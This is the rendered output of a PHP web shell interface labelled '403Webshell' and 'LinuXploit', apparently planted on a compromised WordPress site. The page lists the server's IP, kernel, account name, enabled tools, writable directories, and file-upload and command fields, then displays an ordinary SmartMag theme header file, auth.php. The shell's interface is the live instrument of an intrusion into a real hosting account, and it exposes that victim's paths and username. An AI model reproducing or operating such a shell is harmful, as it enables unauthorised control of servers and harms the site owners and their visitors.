403Webshell
Server IP : 172.67.214.6  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux premium900.web-hosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : redwjova ( 1790)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/redwjova/fyntric.com/wp-content/themes/smart-mag/partials/header/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/redwjova/fyntric.com/wp-content/themes/smart-mag/partials/header/auth.php
<?php 
/**
 * Partial: Header Auth Links.
 */
$props = array_replace([
	'style'   => '',
	'icon'    => true,
	'text'    => '',
	'logout'  => true,
], $props);

$classes = [
	'auth-link',
	$props['icon'] ? 'has-icon' : '',
];

Bunyad::authenticate()->enable();

$login_link = Bunyad::amp()->active() ? wp_login_url() : '#auth-modal';
?>

<?php if (!is_user_logged_in()): ?>

	<a href="<?php echo esc_url($login_link); ?>" class="<?php echo esc_attr(join(' ', $classes)); ?>">
		<?php if ($props['icon']): ?>
			<i class="icon tsi tsi-user-circle-o"></i>
		<?php endif; ?>

		<?php if ($props['text']): ?>
			<span class="label"><?php echo wp_kses_post($props['text']); ?></span>
		<?php endif; ?>
	</a>

<?php elseif ($props['logout']): ?>

	<a href="<?php echo wp_logout_url(); // Already encoded ?>" class="<?php echo esc_attr(join(' ', $classes)); ?>">
		<?php if ($props['icon']): ?>
			<i class="icon tsi tsi-user-circle-o"></i>
		<?php endif; ?>
		<span class="label"><?php esc_html_e('Logout', 'bunyad'); ?></span>
	</a>

<?php endif; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit